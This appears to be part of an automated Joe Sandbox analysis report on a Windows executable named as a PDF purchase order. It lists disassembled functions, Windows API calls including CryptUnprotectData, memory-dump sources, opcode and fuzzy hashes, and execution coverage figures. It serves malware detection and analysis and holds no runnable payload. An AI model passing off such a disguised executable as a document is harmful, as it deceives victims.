String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction ID: 39588cd766b2ea89d65183b6a6bcc828c6470883592abd44c37ede1670716c40
Opcode Fuzzy Hash: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction Fuzzy Hash: B8E0B6B4600209BFEB109B64ED49F7B7AADEB04708F004665BD50F6191DB74EC158B78

Function 00403809 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,75923420,00000000,C:\Users\user\AppData\Local\Temp\,004037E1,004035F6,?), ref: 00403823
GlobalFree.KERNEL32(?), ref: 0040382A

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403809

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-823278215
Opcode ID: 5898abf10019027861f76b75f8a0bd4982bc330ca6c5028dc7fe5a6e65d5b297
Instruction ID: 1a021970d57ae41c51ef9a97853206db199f5c9852ffd88fd16926185a7b9e14
Opcode Fuzzy Hash: 5898abf10019027861f76b75f8a0bd4982bc330ca6c5028dc7fe5a6e65d5b297
Instruction Fuzzy Hash: 72E0EC3350162097C7216F55BD08B6AB7ACAF4DB22F4584BAE880BB2608B745C428BD8

Function 00405A55 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402E5A,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe,C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405A5B
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402E5A,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe,C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405A6B

Strings

C:\Users\user\Desktop, xrefs: 00405A55

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-1246513382
Opcode ID: 2f3bd6b78df313aedfed625dab12a62b748c0839e8540faa9dae91e8a46bacba
Instruction ID: bc07cd37d8a58f62a2b9a6dad95115890aa924a9f687d43278fd1307a4d4e217
Opcode Fuzzy Hash: 2f3bd6b78df313aedfed625dab12a62b748c0839e8540faa9dae91e8a46bacba
Instruction Fuzzy Hash: 7ED05EB2400D209AD312A714DC84DAF77ACEF1530074A446BF441A31A0D7785D918AA9

Function 100010E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 1000116A
GlobalFree.KERNEL32(00000000), ref: 100011C7
GlobalFree.KERNEL32(00000000), ref: 100011D9
GlobalFree.KERNEL32(?), ref: 10001203

Memory Dump Source

Source File: 00000000.00000002.2206700289.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2206687623.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2206712677.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2206725097.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction ID: f345eba8489605592ce73ef35c78e6b42925bf5f5eceaf1f60f0973e38c56604
Opcode Fuzzy Hash: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction Fuzzy Hash: AE318FF6904211DBF314CF64DC859EA77E8EB853D0B12452AFB45E726CEB34E8018765

Function 00405B8F Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405BB7
CharNextA.USER32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BC8
lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction ID: ee410971918da6c20df7c5ac797640abd601cb5b02c8e88895b13af08820b85c
Opcode Fuzzy Hash: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction Fuzzy Hash: 22F06231104958AFC7029BA5DD4099FBBB8EF55254B2540A9E840F7211D674FE019BA9

Analysis Process: PURCHASE ORDER TRC-090971819130-24_pdf.exePID: 4796, Parent PID: 1532COMMON

Execution Graph

Execution Coverage:	12.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	3.1%
Total number of Nodes:	196
Total number of Limit Nodes:	15

Executed Functions

Function 35E6D608 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 396
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$z5, xrefs: 35E6DA14
$z5, xrefs: 35E6DA20
$z5, xrefs: 35E6D76E
$z5, xrefs: 35E6D762

Memory Dump Source

Source File: 00000003.00000002.3314608165.0000000035E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 35E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35e60000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: DispatchMessage
String ID: $z5$$z5$$z5$$z5
API String ID: 2061451462-75759260
Opcode ID: 681114992fe35085b5f19276b20c2c8c94459f8e44663e263ac5e41c6a309e52
Instruction ID: f35d2ba97c597c03df956bd0af93310254b146bcc640d10cb2d6491d56875c08
Opcode Fuzzy Hash: 681114992fe35085b5f19276b20c2c8c94459f8e44663e263ac5e41c6a309e52
Instruction Fuzzy Hash: 85F16B34A403098FEB04DFA9CA44B9DBBF2FF88348F568559D409AB265DB74A945CF80

Function 00155F90 Relevance: 6.7, Strings: 5, Instructions: 467
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o]q, xrefs: 001561DA
,aq, xrefs: 00156260
,aq, xrefs: 00156252
(o]q, xrefs: 00156505
(o]q, xrefs: 001561E8

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$(o]q$,aq$,aq
API String ID: 0-615190528
Opcode ID: bc13a57fa26e9cfeaf755ab4a6756a31ca2a99feb138b930c136acfdfec268c3
Instruction ID: 7ea2a7f911bba4f3c4f10d801b20c73abec5fa83233f1d41b6dd51290fcc4914
Opcode Fuzzy Hash: bc13a57fa26e9cfeaf755ab4a6756a31ca2a99feb138b930c136acfdfec268c3
Instruction Fuzzy Hash: 3F124030A00219DFCB15CF69C994AADBBF2FF88316F958059E825DB261D734DD89CB90

Function 00158DA0 Relevance: 6.1, Strings: 4, Instructions: 1138COMMON

Download Yara Rule

Strings

4']q, xrefs: 00158DC4
(o]q, xrefs: 001594D8
4']q, xrefs: 00159AD3
4']q, xrefs: 00158ECC

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID: (o]q$4']q$4']q$4']q
API String ID: 0-875651895
Opcode ID: 516335f7ac709f1c575618f193f828fd4b170c0ba6ac0f16a9446667db009da0
Instruction ID: 104f71f553c65b6cbe201ede95457fbb4040d27ecad5aa398fa09fd509b5baa5
Opcode Fuzzy Hash: 516335f7ac709f1c575618f193f828fd4b170c0ba6ac0f16a9446667db009da0
Instruction Fuzzy Hash: B3A26D70A04209DFCB15CF68C994AAEBBB2BF88301F158569E8159F261D734ED89CB61

Function 00155968 Relevance: 3.0, Strings: 2, Instructions: 511COMMON

Download Yara Rule

Strings

Haq, xrefs: 00155D6E
(o]q, xrefs: 00155EA2

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID: (o]q$Haq
API String ID: 0-903699183
Opcode ID: 6ccf031582ce65ce29f3e9211371cd801b31dbc6ad282d87e1c46a30f3a3752c
Instruction ID: 98dcc8a690e99f6d91cc3bdaa3bdaf488ca7e03057d70c567cbe132ac33ef1f9
Opcode Fuzzy Hash: 6ccf031582ce65ce29f3e9211371cd801b31dbc6ad282d87e1c46a30f3a3752c
Instruction Fuzzy Hash: 45129E70A00619CFCB14DFA9C854AAEBBF7BF88301F108569E859DB391DB349D85CB90

Function 00154328 Relevance: 2.7, Strings: 2, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH]q, xrefs: 001545A1
PH]q, xrefs: 00154590

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID: PH]q$PH]q
API String ID: 0-1166926398
Opcode ID: 1a4caca6111ba48326f6b8d445958757ad9cf8be90386eafd3e8cea34f24297a
Instruction ID: 12e19b6e2dbd3945cba91068f3c605155e267b21e760cf66af840185694b3005
Opcode Fuzzy Hash: 1a4caca6111ba48326f6b8d445958757ad9cf8be90386eafd3e8cea34f24297a
Instruction Fuzzy Hash: BB91E374E00258CFDB18DFA9D884A9DBBF2FF89305F148069E818AB365DB349985CF50

Function 35E6E7C8 Relevance: 2.0, Strings: 1, Instructions: 764COMMON

Download Yara Rule

Strings

Te]q, xrefs: 35E6F17D

Memory Dump Source

Source File: 00000003.00000002.3314608165.0000000035E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 35E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35e60000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: 6c66eb0aacc18fc346329edfb0e01d92570f7bee84f6043d438434fb7bc78233
Instruction ID: aa6525bcbaaec1caa32a5eb53eb7f6f52a97b9ddf86b74978a52caedc7c20801
Opcode Fuzzy Hash: 6c66eb0aacc18fc346329edfb0e01d92570f7bee84f6043d438434fb7bc78233
Instruction Fuzzy Hash: 2182C274A40228CFDB25DF64C994BADB7B2FF89300F1085A9D809A7765CB359E82CF50

Function 3593BDF0 Relevance: 2.0, Strings: 1, Instructions: 758COMMON

Download Yara Rule

Strings

Te]q, xrefs: 3593C796

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: 7b148ef216b1ef1e85e35bb596ef7099441477f65e4e641074879f0e59354a80
Instruction ID: efaf782cf1da1e760fe8f68322aa68935666f124583b0f44fe5321e368cc3a93
Opcode Fuzzy Hash: 7b148ef216b1ef1e85e35bb596ef7099441477f65e4e641074879f0e59354a80
Instruction Fuzzy Hash: 1172D374A01228CFDB25DF64C994B9DBBB6FF89300F1084A9D809A7765CB359E82CF54

Function 32B3D1EC Relevance: 1.6, APIs: 1, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(00000092,?,00000000,?,?,?,?), ref: 32B3DA45

Memory Dump Source

Source File: 00000003.00000002.3312198563.0000000032B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 32B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32b30000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 3521f3ade7ff56672ed1501af30247c28f73b28fe0a892f24bc06538877ef337
Instruction ID: 5499dbf27c00ecf8a0db5774e414468bba35f07eb310afaca09b53fc2f918fed
Opcode Fuzzy Hash: 3521f3ade7ff56672ed1501af30247c28f73b28fe0a892f24bc06538877ef337
Instruction Fuzzy Hash: 3C1144B68003499FCB10CF99C945BEEBBF4EB48320F148419EA18A7210C739A950DFA1

Function 32B3D9D9 Relevance: 1.6, APIs: 1, Instructions: 54encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(00000092,?,00000000,?,?,?,?), ref: 32B3DA45

Memory Dump Source

Source File: 00000003.00000002.3312198563.0000000032B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 32B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32b30000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: afee96a4e59a71d286ce03bda2ac09b364c99bfe1542e9701e2f9fd2b64d4929
Instruction ID: 2d12b88ceeadcfbe4bb91ea0b68d13c1db9cee9201f8b09500f92cb93b4114ca
Opcode Fuzzy Hash: afee96a4e59a71d286ce03bda2ac09b364c99bfe1542e9701e2f9fd2b64d4929
Instruction Fuzzy Hash: 6A1134B6800249DFCB10CF99CA45BDEBFF5EF48320F148419EA68A7210D739A590DFA1

Function 35938650 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50f992ffeef000b96502614ec3eb09041e4f3e933af00270802b9dc1075ae6c1
Instruction ID: 91e73930cd2f1e98a59eb75bec4756d520deca54aa4cb5dc15ba21afa83570f9
Opcode Fuzzy Hash: 50f992ffeef000b96502614ec3eb09041e4f3e933af00270802b9dc1075ae6c1
Instruction Fuzzy Hash: CC72CC74E02229CFDB65DF69C985BD9BBB2BF49301F5081E9D409A7251DB34AE82CF40

Function 32B3C638 Relevance: .3, Instructions: 313COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3312198563.0000000032B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 32B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32b30000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20e5053ddff3c3caf9aa5b6970bdb26ec299b00355ad619c0e4b7bfaa135abac
Instruction ID: 98924bb54300b81be2dd4b8e6ca2f940b9e7f7d89db3f200e10154017d31426f
Opcode Fuzzy Hash: 20e5053ddff3c3caf9aa5b6970bdb26ec299b00355ad619c0e4b7bfaa135abac
Instruction Fuzzy Hash: 75E1E174E01218CFEB15DFA5C944B9DBBB2FF89304F2081A9D908BB291DB755A85CF10

Function 32B303AF Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3312198563.0000000032B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 32B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32b30000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 786f10bfdb4b55afca9b93f36109e4633b455642b5eaeca56542a7f638390594
Instruction ID: cf19124ae8bc05ebb083b98e2b0b6a8b545de25c2533b630b2ab16805747e2fa
Opcode Fuzzy Hash: 786f10bfdb4b55afca9b93f36109e4633b455642b5eaeca56542a7f638390594
Instruction Fuzzy Hash: 3ED1BF74E01218CFDB14DFA5C994B9DBBB2FF88300F1084A9D809AB365DB359A86CF50

Function 32B30C1A Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3312198563.0000000032B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 32B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32b30000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 031a45994c67a69ba1872a29c3b98620862df2dbd705d84862904f77d79876f3
Instruction ID: ca34e3404919c9802ff551011ca60024676ec09903148494a82f427a93a2bfbe
Opcode Fuzzy Hash: 031a45994c67a69ba1872a29c3b98620862df2dbd705d84862904f77d79876f3
Instruction Fuzzy Hash: E7A12470E01218CFEB11DFA8C984BDDBBB1FF88304F208669E448AB291DB759985CF50

Function 32B30C28 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3312198563.0000000032B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 32B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32b30000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f64465c18b54795278da505a64cf71e8b5fd0b46c80e074ed8de0d3e59949cb
Instruction ID: 8384b59ee357fea51f0af5f03b4b9ad54a1081cb74bd4bc7fad66f6251357d1e
Opcode Fuzzy Hash: 8f64465c18b54795278da505a64cf71e8b5fd0b46c80e074ed8de0d3e59949cb
Instruction Fuzzy Hash: 4BA11470D01218CFEB14DFA8C984BDDBBB1FF88304F208669E548A72A1DB759985CF51

Function 35939D10 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ad206148263cdb862c658dee888fa2abdee7ab3703a855a5e4c0e1a0406a744
Instruction ID: f24f98d1d855f21ac15b351d937a1be6109db970c6c0a2ecf0b42a30c9cf9228
Opcode Fuzzy Hash: 5ad206148263cdb862c658dee888fa2abdee7ab3703a855a5e4c0e1a0406a744
Instruction Fuzzy Hash: F5A1A0B4E01228CFEB24CF6AC945B9DBBF2BF89300F14C1AAD409A7251DB745A85CF11

Function 3593A360 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce6fe965da4489a8e74469b842bbd59cd1e3e249f8330519f0abc736299f984f
Instruction ID: d9938008c35da45df1f53d7f8ca8ff3b0d00631e678c2a5e0e20eb39692ad86d
Opcode Fuzzy Hash: ce6fe965da4489a8e74469b842bbd59cd1e3e249f8330519f0abc736299f984f
Instruction Fuzzy Hash: C3A19FB5E01228CFEB24CF6AC945B9DBBF2BB89300F10C1AAD409A7255DB745A85CF11

Function 359396C8 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6e284b8074bd2f6047eccbedd0b3617e9dc5261789839d5f96222acb4c1dd0a
Instruction ID: 3cc8602b04c281a068c6918d3e210156d336452baed5a0eef0ff750315e67e56
Opcode Fuzzy Hash: e6e284b8074bd2f6047eccbedd0b3617e9dc5261789839d5f96222acb4c1dd0a
Instruction Fuzzy Hash: B6A1A1B4E01218CFEB28CF6AC945B9DBBF6BF89300F14C1AAD409A7251DB345A85CF11

Function 3593A9B0 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb6ad89ab126780f1c4ab531a2a21f93bb1546e90c7639edb6c9867da1c96580
Instruction ID: 6b8cdd08e18bb023561e33a9663a7cf3b943999e1a0846038369c9771c7e73e8
Opcode Fuzzy Hash: bb6ad89ab126780f1c4ab531a2a21f93bb1546e90c7639edb6c9867da1c96580
Instruction Fuzzy Hash: C8A180B4E01218CFEB24CF6AC945B9DBBF2BF89300F14C1AAD409A7255DB345A85CF11

Function 32B30F6F Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3312198563.0000000032B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 32B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32b30000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c396848d6b0d989b81eee89280dd9b7e515ab683ae3c6e38d4b28594b7b3b91b
Instruction ID: 112037c0883ee3f208682bfd0233eef9f2c05a99144508fecb4315ee661880a1
Opcode Fuzzy Hash: c396848d6b0d989b81eee89280dd9b7e515ab683ae3c6e38d4b28594b7b3b91b
Instruction Fuzzy Hash: 9191F074D01218CFEB10DFA8C984B9CBBB1FF49305F2096A9E549BB291DB759981CF14

Function 3593BA99 Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3c950047c8e09b6f7bcca9a1b08006e63d067a17336e407855a5b16ac64eb6e
Instruction ID: 073ee62cd98720dca59b7fb0639ceff6310a7b3e0282da4605cc026dd6f46953
Opcode Fuzzy Hash: b3c950047c8e09b6f7bcca9a1b08006e63d067a17336e407855a5b16ac64eb6e
Instruction Fuzzy Hash: 7D81D374E01208CBDB18DFAAC9916DDBBF2BF88311F64D529D814BB359DB349942CB50

Function 3593864C Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93ca081028ad3bd78a1b66a117cfb4c75fad85b978d65e2e31857b499889325c
Instruction ID: c2fc131e189be304308332570a97c4cdf318f074b32a79351d8ce2ef439e7ad7
Opcode Fuzzy Hash: 93ca081028ad3bd78a1b66a117cfb4c75fad85b978d65e2e31857b499889325c
Instruction Fuzzy Hash: 9671B275D02228CFDB64DF66C9847DDBBF2BF89301F1491AAD409AB250DB349A86CF40

Function 3593A9A9 Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71b23abd3591029a74cb395ed546870b9e28b10d1ec1562ff3db0fc536196c68
Instruction ID: 541285ce6ef6a5123ee9225bb312b88bd7b90ded3f1af587d38c59cf03df424b
Opcode Fuzzy Hash: 71b23abd3591029a74cb395ed546870b9e28b10d1ec1562ff3db0fc536196c68
Instruction Fuzzy Hash: 607184B4E01618CFEB68CF6AC945B9DBBF2AF89300F14C1AAD40DA7255DB344A85CF51

Function 359396C4 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78490dbb98c88112ecfd96b8d8cfc2536a41809d58a1b4e2d5558df7b393a23a
Instruction ID: 81c9a377808f5e023f6c6bf581699d2a56156f90e3b2635f456673a89a567067
Opcode Fuzzy Hash: 78490dbb98c88112ecfd96b8d8cfc2536a41809d58a1b4e2d5558df7b393a23a
Instruction Fuzzy Hash: 037183B5D01618CFEB68CF66C945B9DBBF2AF89300F14C1AAD40DA7255DB344A85CF11

Function 35E6F316 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314608165.0000000035E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 35E60000, based on PE: false

Joe Sandbox IDA Plugin

